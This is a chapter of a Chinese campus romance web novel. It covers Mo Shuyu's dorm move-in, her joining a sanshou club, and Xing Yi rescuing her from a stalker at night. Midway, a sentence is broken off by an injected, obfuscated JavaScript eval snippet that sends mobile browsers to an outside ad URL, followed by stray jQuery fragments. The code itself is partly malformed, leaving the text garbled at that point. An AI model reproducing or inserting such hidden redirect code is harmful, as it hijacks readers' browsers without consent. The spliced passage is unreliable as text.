回环冬 作品

5. 回吻

    她要抽回手,邢屹攥住不放:“别动。”


    他倾身靠近,两人类似交颈相拥的姿势,距离近得失控,她下意识往后躲,被他扣住手腕反向一扯,她呼吸一滞,僵着身子定在原处。


    他一只手朝前伸,在副驾靠近车门的一角,拿起她没喝完的矿泉水。


    呼吸擦过她脸颊,他瞥她一眼,拉开距离的同时松开她的手,拧紧矿泉水瓶盖放回原位。


    瓶盖上一秒是松的,如果她后退时碰翻了瓶子,说不定会洒一座椅的水,裙子也会湿。


    她恍悟,指节蹭了蹭鼻梁。


    邢屹懒声提醒:“安全带。”


    她默默系好。


    一路无言,车子兜兜转转开回别墅。


    吃完晚饭,孟纾语又是第一个上楼。


    她一直不确定邢屹的为人,今天跟他近距离接触,被他紧紧攥住手腕,他掌心的温度烫得她心头一震。


    还是离他远一点好。


    洗完澡看书发呆,突然很想老孟。


    于是她打开手机云盘,悄咪咪登录老孟的账号。


    云端文件夹里存了很多老孟给她拍的视频,类似单人vlog,每条十分钟左右。


    从她十二岁开始,到高中毕业,老孟每隔一个月就会给她拍一条,这些视频一帧又一帧,记录她七年的成长,见证她从寡言到开朗的全过程。


    她随机点开一条视频回顾。


    画面里,十二岁的孟纾语正抱着小熊枕头在客厅看电视剧,父亲的画外音冒出来:“表情这么严肃,想什么呢?”


    “我在想,慕容傲天太坏了,苏潼潼怎么能喜欢他呢?”


    老孟开怀大笑:“那小语觉得什么样的男生才值得喜欢?”


    她想了想,认真说:“当然是高高帅帅的,又聪明又勇敢,他既要尊重师长,又要关爱小动物,要做个温柔善良的人。”


    原来她这么小就输出择偶观了。


    孟纾语有点羞耻地退出视频。


    ——咚咚。


    敲门声响起,她前去开门,邢屹好整以暇倚在门边,单手递来一篮烘干的衣服。


    保姆放在她卧室门口的,她忘记拿了。


    她接过来,一手迅速遮住上面的蕾丝内衣。


    “谢谢。”


    “不客气。”他微垂视线看她,漫不经心说,“快开学了,早点睡。”


    “好。”


    邢屹离开,她快速关门。


    准备开学了,学校里有他,家里也有他,那她的生活剧本岂不是要被他填充诸多剧情?


    算了,只要不是什么奇怪的剧情就好,总之她下定决心离他远一点。


    手机弹出消息。


    毛婧婧:[呜呜,开学那几天不能找你玩了,我全家老小人手一张机票,非要陪我报到,说要参观美院的宿舍,我服了,就那小破宿舍塞得下那么多人吗,根本无从下脚,难道要我奶奶在暖气片上金鸡独立?]


    孟纾语回了一长串哈哈哈。


    直到京大正式报到那天,她才后悔笑话人家,自己也好不到哪去。


    “莱姨,真的不用带这么多人去,你不是说让我办理外宿吗?我带去学校宿舍的东西不多,一个人整理得完。”


    一分钟前,孟纾语看着后座四位慈眉善目的家政阿姨,她嘴角轻轻动了下,上车时差点崴到脚。


    “谁说东西不多?”邢美莱专门赶回来陪她报到,戴上太阳镜悠然开车。


    “我给你定制了床垫,还有一体式床帘,安装肯定需要人手呀,再说了,宿舍是公共区域,那么多人住过,桌子和床总得认真消消毒吧。”


    “......”


    于是,正如邢美莱安排,女寝401开始了紧锣密鼓的清扫和安装。


    三个舍友陆续赶到,邢美莱跟她们微笑问好,臂弯的限量款鳄鱼皮包有点晃眼。


    舍友路露假装整理桌面,胳膊肘怼了怼路过的陈雅甜,小声打探:“对床什么来头啊,家里这么有钱?”


    短头发的陈雅甜一蹦三米远,中指推了推眼镜:“请不要随意肢体接触,谢谢。”


    “啊是这里!”一个女生兴奋跑进门,跟陈雅甜对上眼,吓得后退,“不好意思不好意思,请问这是男寝吗?”


    床位靠门的路露默不作声,把包里的化妆品摆上书桌。


    女生松口气:“还好没走错,你们好我是1床许莓,多多指教!”还鞠了个躬。


    邢美莱轻咳一声,贴在孟纾语耳边小声说:“你这些新舍友,好像都不大对劲。”


    眼前,是四个家政阿姨有条不紊为她打扫卫生的画面。


    孟纾语闭了闭眼。


    姨,全寝最不对劲的人应该是我。


    临近中午,邢美莱有个生意上的电话突然打进来,只好嘱咐孟纾语几句,转身带着一组家政阿姨浩浩荡荡离开。


    孟纾语端详着自己的“豪华版”床位,拍了张照片发给老孟。


    老孟:[好漂亮呐!这是今年新装修的宿舍楼?]


    shuyu:[你可以这么认为]


    老孟:[真好真好,晚点给老爸打视频]


    [吃饭了没?]


    “吃饭吗大家?”许莓热情邀请,“走嘛,一起去尝尝学校食堂。”


    四人一致同意。


    今天迎新,食堂多了一拨尝鲜的新生,剩下的,全是精疲力尽急需回血的学长学姐。


    “妈呀,那箱子里装的是水泥啊?重得要死,学长是铁打的吗?!”


    孟纾语跟舍友们排着队,前面有男生叫苦连天。


    路露怼怼她胳膊:“看前面,有帅哥。”


    她抬眸看去。


    凭背影就认出来了。


    邢屹肩宽背挺,鹤立鸡群的身高让人一眼就注意到,一身简单的白衣黑裤,手里懒懒散散勾着挂脖用的迎新工作牌。


    他身边站着的男生有点眼熟。


    想起来了,是之前在超市买醋时看见的,他的朋友。


    彭霖甩着手臂,贱兮兮往邢屹身上靠:“屹哥哥,胳膊酸死了,给我揉揉。”


    邢屹插着兜排队,语气和善:“去死。”


    “好,你这个薄情寡义的男人。”彭霖站直,四下看看,“我女神呢?她怎么还不来吃饭?”


    “那么多个食堂,她非要在这吃?”邢屹补刀。


    没听清他们接下来说什么,打饭窗口排到她们的时候,他俩已经不见了。


    孟纾语端着自己的海南鸡饭,跟随室友找位置坐下。


    路露坐在旁边玩手机,忽然拍拍她:“我搜到了!他是大二能源与动力工程系的,叫邢屹。你看,这有照片。”


    手机递了过来,孟纾语不动声色点点头:“嗯,是他。”


    陈雅甜不参与话题,坐在位子上玩音游。


    “帅哥,有兴趣加入散打社吗?”一个男生突然凑过来发社团传单,陈雅甜幽幽抬起头,“我是女的。”


    男生大惊失色:“对不起对不起!搞错了。”


    他尴尬得正要走,孟纾语叫住他:“你好,可以给我一张宣传单吗?”


    路露和许莓齐刷刷:“你会散打?!”


    “不会,但我可以试着练一下。”


    毕竟像邢屹那样把别人胳膊打折的感觉,一定很爽。


    另外,要是他欺负她,她至少还能打回去。


    男生喜笑颜开给她递了宣传单,附加一张表。


    “学妹,你要是感兴趣的话,填一下这个报名表,两周之内交到我们活动室就行,到时会通知你面试。”


    “好,谢谢。”


    男生回到斜对角那桌,桌上一个寸头男瞥来一眼,剥着白煮蛋嘲讽:“你傻了吧,跑女生那桌去招新?女的能有几个体力好的,俯卧撑能做三个就不错了,别把咱们散打社的招牌给砸了,本来就没什么人报名,还组什么娘子军啊,搞不搞笑。”


    孟纾语听得一清二楚,她跟许莓借了只笔,当场填表。


    两分钟后,大大方方甩到对方桌上。


    “我报名。”


    寸头男咬了口蛋黄,上下打量她。


    孟纾语回他一个无所谓的眼神,转身离开。


    前脚刚走,身后就传来汤水溅洒的动静。


    “哇啊!”寸头男大叫。


    “抱歉,手滑了。”是邢屹的声音,听上去浑不正经,一点歉意都没有。


    孟纾语自顾走远,听不清了。


    周洪违被泼了一身的汤,本要发作,一看是邢屹,立马狗腿:“没事儿,我该往里坐坐。正好,你坐这儿。上回跟你说的事,考虑得怎么样啦?”


    邢屹闲闲坐下,拿出手机划动,问是什么事。


    “你忘啦?就是请你来我们散打社,当一段时间副社长,带新社员训练的事儿。”


    邢屹浑不在意:“你们不是有副社长?”


    “唉,就他那胳膊,指不定什么时候拆石膏呢,兼职打碟都费劲,怎么带人训练啊。”


    “别这么看我,那家伙自己想不开要跟我打,我好心配合。”


    “不不不,没怪你。”周洪违面露难色,“只是,要是实在没有副社长,那我只能亲自带人训练了,时间有点挤不出来......”


    邢屹划着手机,扫一眼桌角的报名表。


    收回视线说:“晚点等我消息。”


    这一边,孟纾语淡定吃饭,许莓一直在吐槽寸头男下头,路露突然插道:“好像有很多女生追他,不止我们学校的。”


    “追他?!”许莓差点喷饭。


    “不是不是!不是那个寸头男,我说的是邢屹啦,很多人追他,他确实很招人,长得帅家里又有钱,信昀集团你们知道吧?就是他外公创立的,邢屹这种人出生就在罗马,真让人羡慕嫉妒,还是保送进来的,天知道这两个字有多馋人。”


    毋庸置疑,邢屹是真的很耀眼。


    京大灌水群里有人立下规矩说,在脸蛋和财富完胜的前提下,身高和智商双高的男生才配得上一个帅字。而邢屹各方面的指标,都很不给人面子地拉满了。


    或许是底气太足,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200964|165702||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    身上经常有种游刃有余的松散劲,从来不缺锋芒,只是不留痕迹,等别人意识到他身上有那些耀眼特质的时候,心跳早就被他介入了。


    路露叹道:“可惜,他好像对女孩子没什么兴趣。”


    孟纾语手机震了下。


    xx:[什么时候回家]


    她回复:[我们下午要去ktv玩,可能晚上回去吧,不在家吃饭了]


    隔了很久,邢屹又问:[真打算进散打社?]


    [嗯嗯]


    [不后悔?]


    [不后悔]


    这句发完,他就没再回了。


    无缘无故问她加社团的事干嘛。


    她放下手机专心吃饭,期待下午的聚会。


    ...


    寝室四人的老家凑齐了东南西北,大家性格各异,却意外合拍。


    ktv包厢傍晚到钟,路露又续了六个小时。


    孟纾语好久没来ktv,唱这么久,嗓子都哑了。


    凌晨,聚会结束,路露她们结伴返校,几人相互道别,孟纾语拖着沙哑的嗓子独自上了公交,回颐云公馆。


    路露拉了个群,她点开微信查看,朋友圈图标忽然冒出红色数字。


    有病吧,卓耀明把她仅存的十八条朋友圈赞了个遍,狂刷存在感。


    必须删掉他。


    到站,她一边按手机一边下了公交车,有个穿黑衣服的高个子男人也跟着下来。


    别墅区周围异常僻静,晚上更是没几个人。


    她独自走在路边,还要步行很长一段路才能到家。


    走到一半,身后的脚步声一直没散去,她转弯,那人就跟着转,她放慢步伐,那人就跟着慢。


    不对劲。


    她快速点开通讯录。


    附近一家兽医院里,邢屹站在救助笼前查看狗的情况。


    这狗是前几天救下来的,当时他正准备陪孟纾语去动物园,半路收到志愿小队的消息,说有只瘸腿的黑狗,特别凶,必须他来处理。


    于是这狗嚣张不到一会儿,被他干脆利落地抓获。


    笼子里,小黑狗戴着救助项圈,被人恶意碾断的前腿缠着绷带,邢屹一靠近,它就狂吠,龇牙咧嘴的,真咬又不敢。


    邢屹嗤笑了声。


    “怂狗。”


    他伸手逗着狗鼻子问,“营养针打了吗?”


    “打了。”医生说,“四个护士按着它打的,太凶了这狗,你怎么救下来的?”


    邢屹没有多解释。


    “活着就行。费用先结吧。”


    “好,我看看......加上其他零碎的检查费,目前一共是三千七。”


    邢屹拿手机点出付款码,一个电话突然进来。


    听筒里的声音有点哑,听不太清。


    “你说什么?”邢屹大步往外走,经过前台扔了张卡,“刷这张。”


    ...


    孟纾语还在路边兜圈子。


    那男人的脸裹得严严实实,活像鬼。


    鬼还好一点,人比鬼可怕。


    凌晨降温,她不由得打了个寒噤。


    再次拐弯,确认了,男人就是在尾随。


    微信开着位置共享,手机快没电了,要是邢屹给她打电话,她都不一定能接到。


    心脏敲锣打鼓,她深呼吸,在不怀好意的脚步声快速逼近时,一束强有力的灯光突然从身后射过来。


    急刹声戛然而止。


    “上车。”


    沉磁果断的声线闯入耳畔,她如释重负。


    跟踪男已经消失不见,她上车时魂不守舍,跑车底盘又低,她差点摔在座椅上,邢屹扶住她的腰,脱下自己的黑色冲锋衣给她,“穿上。”


    她穿好衣服缓了口气,衣料余温游过身体,像在安抚。


    邢屹先把她送回家,称有事要处理,又驾车离开了。


    孟纾语心有余悸,听他的话把大门反锁,回房间静了静。


    但凡晚一点发出求救信号,她可能就回不来了。


    现在这世道真是不太平。


    又想了想,原本决定离邢屹远一点,现在反而欠了他人情。


    算了,以后慢慢还吧,命最重要,特殊情况下没必要硬着头皮,就算是孙悟空也得搬救兵。


    半晌,院子里传来车的动静。


    邢屹回来了。


    她快步下楼,两人在楼梯中央相遇。


    邢屹闲闲插着兜,清俊的眼尾轻微上挑,看着她:“没事,已经报警了。”


    她攥着楼梯扶手,咳了一声说:“谢谢。”


    他觉得怪有意思:“什么歌啊,好好的嗓子唱成这样。”


    “......比较鼓舞人心的歌。”


    他兀地笑了,迈步上楼,顺手揉她脑袋,让她早点洗澡睡觉,别想太多。


    “好。”


    刚要转头,一抹深红闯入余光,她愣了下,视线落回他衣角。


    回来之前明明没有的。


    所以为什么......他的衣服沾了血?